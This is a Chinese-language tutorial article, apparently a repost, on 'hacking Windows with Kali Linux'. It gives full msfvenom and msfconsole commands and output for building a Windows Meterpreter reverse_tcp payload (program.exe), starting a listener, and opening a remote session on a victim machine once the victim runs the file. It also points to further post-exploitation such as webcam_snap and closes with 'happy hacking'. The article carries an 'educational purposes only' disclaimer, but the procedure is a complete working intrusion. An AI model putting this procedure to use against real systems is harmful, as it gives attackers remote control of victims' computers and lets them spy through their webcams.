閱讀662 返回首頁    go 阿裏雲 go 技術社區[雲棲]

如何使用 Kali Linux 黑掉 Windows

Kali Linux 派生自 Debian Linux，主要用於滲透測試，擁有超過 300 個的預安裝好的滲透測試工具。Metasploit 項目中 Metasploit 框架支持 Kali Linux 平台，Metasploit 是一個用於開發和執行安全利用代碼security exploit的工具。讓我們來使用 Kali Linux 來攻破 Windows 吧。請注意，我寫這篇文章隻是出於教育目的哦——一切因此帶來的後果和本文作者、譯者無關。

源機器詳情

Kali Linux



    

  1. root@kali:/# uname -a
    2. 

  2. Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
    3. 

  3. root@kali:/#
    4. 



用做攻擊對象的目標機器：




  1. Windows 7 Ultimate SP1



步驟 1：創建 Payload 程序


Payload 是一個類似於病毒或者木馬的程序，可以運行在遠程目標上 —— 為了黑掉那台機器。可以通過以下命令來創建 Payload（program.exe），以便能使用 Kali Linux 黑掉 Windows。




    

  1. root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=4444 --format=exe -o /root/program.exe
    2. 

  2. No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    3. 

  3. No Arch selected, selecting Arch: x86 from the payload
    4. 

  4. No encoder or badchars specified, outputting raw payload
    5. 

  5. Payload size: 333 bytes
    6. 

  6. Final size of exe file: 73802 bytes
    7. 

  7. Saved as: /root/program.exe
    8. 

  8. root@kali:/# ls -la /root/program.exe
    9. 

  9. -rw-r--r-- 1 root root 73802 Jan 26 00:46 /root/program.exe
    10. 



通過 ls 命令，我們可以確認 Payload 程序是否成功生成在指定的位置。



步驟 2：運行 mfsconsole 命令啟動 msf 命令窗口




    

  1. root@kali:# msfconsole
    2. 

    3. 

    4. 

  4.                                    .,,.                  .
    5. 

  5.                                 .\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P
    6. 

  6.                      d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p
    7. 

  7.                   d888888P      '7$$$$\""""''^^`` .7$$$|D*"'```         ?88'
    8. 

  8.   d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P
    9. 

  9.   88P`?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"`       d8P d8888b $whi?88b 88b
    10. 

  10.  d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
    11. 

  11. d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"`    `?88'  ?88 ?88 88b  d88 d88
    12. 

  12.                           .a#$$$$$$"`          88b  d8P  88b`?8888P'
    13. 

  13.                        ,s$$$$$$$"`             888888P'   88n      _.,,,ass;:
    14. 

  14.                     .a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'
    15. 

  15.                  .a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
    16. 

  16.               ,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
    17. 

  17.            .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
    18. 

  18. _______________________________________________________________   ,&$$$$$$'_____
    19. 

  19.                                                                  ll&&$$$$'
    20. 

  20.                                                               .;;lll&&&&'
    21. 

  21.                                                             ...;;lllll&'
    22. 

  22.                                                           ......;;;llll;;;....
    23. 

  23.                                                            ` ......;;;;... .  .
    24. 

    25. 

    26. 

  26. Taking notes in notepad? Have Metasploit Pro track & report
    27. 

  27. your progress and findings -- learn more on https://rapid7.com/metasploit
    28. 

    29. 

  29.        =[ metasploit v4.12.22-dev                         ]
    30. 

  30. + -- --=[ 1577 exploits - 906 auxiliary - 272 post        ]
    31. 

  31. + -- --=[ 455 payloads - 39 encoders - 8 nops             ]
    32. 

  32. + -- --=[ Free Metasploit Pro trial: https://r-7.co/trymsp ]
    33. 

    34. 

  34. msf >
    35. 




步驟 3：進行漏洞利用的細節


    

  • 4444 端口：你可以按照自己的想法來選擇使用哪個端口
    • 

  • LHOST IP：表示 Kali Linux 機器的 IP，這裏是 192.168.189.128。 使用如下命令來查看你的 Kali Linux 機器的 IP。
    • 





    

  1. root@kali:/# ip r l
    2. 

  2. 192.168.189.0/24 dev eth0  proto kernel  scope link  src 192.168.189.128  metric 100
    3. 

  3. root@kali:/#
    4. 



現在在 msf 命令窗口使用 use exploit/multi/handler 命令，如下：




    

  1. msf > use exploit/multi/handler
    2. 

  2. msf exploit(handler) >
    3. 



然後在接下來的命令窗口中使用命令 set payload windows/meterpreter/reverse_tcp：




    

  1. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
    2. 

  2. payload => windows/meterpreter/reverse_tcp
    3. 



現在使用 LHOST 和 LPORT 來設置本地 IP 和本地端口，如下：




    

  1. msf exploit(handler) > set lhost 192.168.189.128
    2. 

  2. lhost => 192.168.189.128
    3. 

  3. msf exploit(handler) > set lport 4444
    4. 

  4. lport => 4444
    5. 



最後使用 exploit 命令。




    

  1. msf exploit(handler) > exploit
    2. 

    3. 

  3. [*] Started reverse TCP handler on 192.168.189.128:4444
    4. 

  4. [*] Starting the payload handler...
    5. 



現在你需要在 Windows 上運行 program.exe，一旦它在目標機器上執行，你就可以建立一個 meterpreter 會話。輸入 sysinfo 就可以得到這台被黑掉的 Windows 機器的詳情。




    

  1. msf exploit(handler) > exploit
    2. 

    3. 

  3. [*] Started reverse TCP handler on 192.168.189.128:4444
    4. 

  4. [*] Starting the payload handler...
    5. 

  5. [*] Sending stage (957999 bytes) to 192.168.189.1
    6. 

  6. [*] Meterpreter session 1 opened (192.168.189.128:4444 -> 192.168.189.1:53091) at 2017-01-26 00:51:31 +0000
    7. 

    8. 

  8. meterpreter > sysinfo
    9. 

  9. Computer        : MANN-PC
    10. 

  10. OS              : Windows 7 (Build 7601, Service Pack 1).
    11. 

  11. Architecture    : x64 (Current Process is WOW64)
    12. 

  12. System Language : en_IN
    13. 

  13. Domain          : WORKGROUP
    14. 

  14. Logged On Users : 2
    15. 

  15. Meterpreter     : x86/win32
    16. 



一旦你得到了這些詳細信息，就可以做更多的漏洞利用，或者通過 help 命令獲取更多信息，以便列出你可以黑掉該係統的所有選項，比如 webcam_snap 命令獲取網絡攝像頭，同樣你還可以使用其他更多的可用選項。祝你入侵愉快！！！！ ←_←




原文發布時間為：2017-02-11


本文來自雲棲社區合作夥伴“Linux中國”


    
    
        

最後更新：2017-05-26 09:02:08
  上一篇：go  為什麼新年下的決心總是實現不了
  下一篇：go  編寫 android 測試單元該做的和不該做的事